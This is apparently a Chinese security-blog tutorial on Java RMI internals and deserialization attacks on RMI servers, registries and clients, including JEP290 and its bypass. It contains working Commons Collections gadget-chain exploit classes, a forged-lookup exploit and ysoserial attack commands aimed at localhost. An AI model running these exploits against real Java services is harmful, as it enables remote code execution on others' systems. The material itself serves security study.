仅用于网络安全研究,请遵守相关法律法规

一、RMI服务

1.1 什么是RMI

远程方法调用,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
实现RMI的协议叫JRMP,RMI实现的过程中进行了java对象的传递,自然使用了序列化和反序列化,也自然产生了反序列化漏洞

对象通过实现一个远程接口,它具有以下特点:

  • 接口必须派生自java.rmi.Remote
  • 每个方法声明抛出RemoteException
  • 服务端和客户端必须持有相同的接口,而客户端只需要申明不需要实现,而服务端需要实现接口的方法

1.2 RMI交互过程

服务端:服务端通过绑定远程对象,这个对象可以封装很多网络操作,通过Socket

客户端:客户端调用服务端的方法

涉及到C/S交互,并且服务端绑定的端口不固定,所以引入第三方机构——注册中心来做这个传递消息的人

注册中心:服务端发布网络信息到注册中心,客户端访问注册中心获取服务端信息,然后再去访问服务端

二、RMI服务案例

2.1 RMI服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//接口
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Service extends Remote {
public int sub(int a, int b) throws RemoteException;
public void dump(Object o) throws RemoteException;
}
//接口实现类
public class ServiceImpl implements Service {
public void dump(Object o) {
System.out.println(o);
}

public int sub(int a, int b) {
System.out.println(a + " - " + b+ " = "+ (a - b));
return a - b;
}
}
//RMI注册中心
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
Service service = new ServiceImpl();
Registry registry = LocateRegistry.createRegistry(1099);
//UnicastRemoteObject.exportObject(service,0)
registry.bind("service", service);
}
}

2.2 RMI客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//与服务端一样的接口
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Service extends Remote {
public int sub(int a, int b) throws RemoteException;
public void dump(Object o) throws RemoteException;
}
//RMI客户端
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Service service = (Service) registry.lookup("service");
int sum=service.sub(10,7);
System.out.println(sum);
}
}

三、漏洞分析

3.1 服务端

3.1.1 服务端创建

Service service = new ServiceImpl();
stub是客户端代理,而是在服务端生成的
stub是要传给客户端使用的,客户端通过操作stub的UnicastRef,来调用服务端远程对象的UnicastServerRef
原因:服务端生成放到注册中心,让客户端拿到再用

一路调试,发现最后总的封装类是Target

而且disp和stub都指向同一个LiveRef,且此时端口还是0

端口变化

线程处理客户端连接请求

服务端记录发布的Target

进行了DGCImpl类的方法调用,触发了实例化,所以触发了static代码块,该类为RMI垃圾回收的类(自动创建)

总结:

  • 最外层对象Target,里面保存了远程对象、远程对象的代理对象stub、远程对象的引用对象UnicastServerRef、还有代表这个对象的ID

3.1.2 注册中心创建

Registry registry = LocateRegistry.createRegistry(1099);


注册中心的生成跟服务端差不太多的逻辑,并通过反射实例化skel对象


依旧是创建Target然后发布,最后把Target进行记录

3.1.3 绑定对象到注册中心

registry.bind("service", service);

判断是否已经记录,如果没有则记录到hashtable里

3.2 客户端

3.2.1 获取注册中心远程对象

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

在客户端是直接拿着主机名和端口new了一个LiveRef,又用它创建了一个UnicastRef,并调用了Util.createProxy,从而创建一个stub。
注:这里的stub并不是从服务端获取的,而是本地生成的

3.2.2 查找远程对象

Service service = (Service) registry.lookup("service");
没源码,调试不了,直接看反编译代码



这个点很隐蔽,所有的网络请求都会被调用(异常时触发)
总结:也就是说注册中心可控的话,客户端lookup就可以被攻击
最后就获取到了服务端的远程对象端口信息

3.2.3 客户端调用远程对象方法

service.sub(10,7);
客户端的参数进行序列化

有返回值的时候调用

3.3 注册中心

注册中心接收客户端查询请求
接收到客户端的服务查找请求lookup()方法

这里就可以客户端攻击注册中心

3.4 方法调用

3.5 DGC创建

可还记得DGC在哪里出来的,做垃圾回收的一个类

调用了类的静态变量,还记得类加载的过程嘛,调用静态变量会完成类的初始化,初始化时候又会执行static代码块

很熟悉的路线,跟注册中心创建的方式一样

3.6 DGC调用

DGC的两个垃圾回收方法均有反序列化的方法

  • 客户端
  • 服务端

    注:这个类不是我们手动创建的,而是背后代码逻辑生成的,所以也比较隐蔽

四、攻击路线

4.1 客户端攻击服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//添加依赖(客户端服务端都需要),然后拿CC链去打
public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//命令执行
String command = "calc";
Transformer[] transforms = new Transformer[]{
//返回常量class,即Runtime.class
new ConstantTransformer(Runtime.class),
//获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
//调用getRuntime方法,获取Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", 0);
//TransformedMap实例化
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
//反射获取AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//实例化AnnotationInvocationHandler对象
Object o = constructor.newInstance(Target.class, transformedmap);
return o;
}


其他的链子自行复现

4.2 客户端攻击服务端(DGC)

8u121版本后被修复
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 calc

触发点DGCImpl_Skel#dispatch


jdk121之后报错无法利用

4.3 服务端和客户端攻击注册中心

4.3.1 bind 或 rebind 的攻击

8u121版本后被修复

4.3.1.1 工具攻击

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc

触发点RegistryImpl_Skel#dispatch

4.3.1.2 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package RmiAttack;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

// RMI远程调用攻击bind和rebind
public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) cc1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
// registry.rebind("test",remote);
}


public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//命令执行
String command = "calc";
Transformer[] transforms = new Transformer[]{
//返回常量class,即Runtime.class
new ConstantTransformer(Runtime.class),
//获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
//调用getRuntime方法,获取Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", 0);
//TransformedMap实例化
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
//反射获取AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造器
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//实例化AnnotationInvocationHandler对象
Object o = constructor.newInstance(Target.class, transformedmap);
return o;
}
}

4.3.2 lookup的攻击

8u121版本后被修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package RmiAttack;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

// RMI 远程调用攻击lookup
public class AttackRegistryEXP02 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) cc1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object cc1() throws Exception{
String command = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

4.4 注册中心攻击客户端

jdk131可用
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
用ysoserial生成一个恶意的注册中心,当客户端连接注册中心时,就可以进行恶意利用

触发点RegistryImpl_Stub#lookup


还有其他的也可以利用

1
2
3
4
5
list()
bind()
rebind()
unbind()
lookup()

4.5 绕过封锁

4.5.1 JEP290

官方解释

在JDK8u121开始,java引入了新的安全机制JEP290

  • RegistryImpl_Skel强制RegistryImpl.checkAccess验证,即:服务端和注册中心必须是同一hosts(jdk141),使得服务端和注册中心强制绑定在一起,故二者的互相攻击方法没了
  • RegistryImpl_Skel反序列化对象时会进行白名单校验
    1
    2
    3
    4
    5
    6
    7
    8
    9
    String.class
    Number.class
    Remote.class
    Proxy.class
    UnicastRef.class
    RMIClientSocketFactory.class
    RMIServerSocketFactory.class
    ActivationID.class
    UID.class
    没有任何一条完整的反序列化攻击链能通过这个白名单,这样前面攻击注册中心的方法都失效了。
  • RegistryImpl_Stub,没有进行过滤,所以注册中心攻击客户端仍可行
  • DGC服务,也加了白名单,攻击方法也失效

    至此,只剩下如下的攻击方法

4.5.2 服务端打客户端(JRMP)

  1. 启动恶意JRMP服务器
    jdk8u131\bin\java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc
  2. 客户端连接服务器

    JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制,原因就是JEP290是针对RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的过滤器
  3. 攻击过程如下
  • JRMP客户端去主动连接我们的JRMP服务端(白名单过滤器只对反序列化过程有效,对序列化过程无效)
  • 恶意的JRMP服务端在原本是报错信息的位置写入利用链,序列化成数据包返回到JRMP客户端
  • 由于JRMP客户端的反序列化过程不存在JEP290的过滤器,所以我们的payload可以成功被执行,从而完成RCE

4.5.3 bypassJEP290

本人在jdk131和202环境下测试
操作流程(注册中心被攻击)

  1. yso启动一个恶意的JRMPListener
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"
  2. 启动注册中心
  3. 客户端绑定操作

    原理就是伪造了一个UnicastRef用于跟注册中心通信
    调用bind方法的时候,会通过 UnicastRef对象中存储的信息与注册中心进行通信
    再执行完bind()操作请求后,会调用UnicastServerRef#oldDispatch()

    只有这一层过滤,伪造的UnicastRef从而使其绕过

    继续跟进发现,对我们伪造的Ref调用了lookup方法

    走完循环执行命令执行成功

    exp分析也不难理解

五、总结

java安全的必经之路,也将使你变强。
RMI在java反序列化中的利用还是蛮多的,如jndi注入中的rmi利用、JRMP协议的攻击等等,在分析完漏洞后,搞懂了这个RMI服务的设计机制。
为什么这样设计?好处是什么?(自己可以思考一下)
一般:新东西也会带来新风险。

六、参考文章

03 RMI - 06. JEP290 - 《JavaSec》 - 极客文档 (geekdaxue.co)
Java反序列化之RMI专题01-RMI基础 | Drunkbaby’s Blog
JAVA RMI 反序列化攻击 & JEP290 Bypass分析 - 先知社区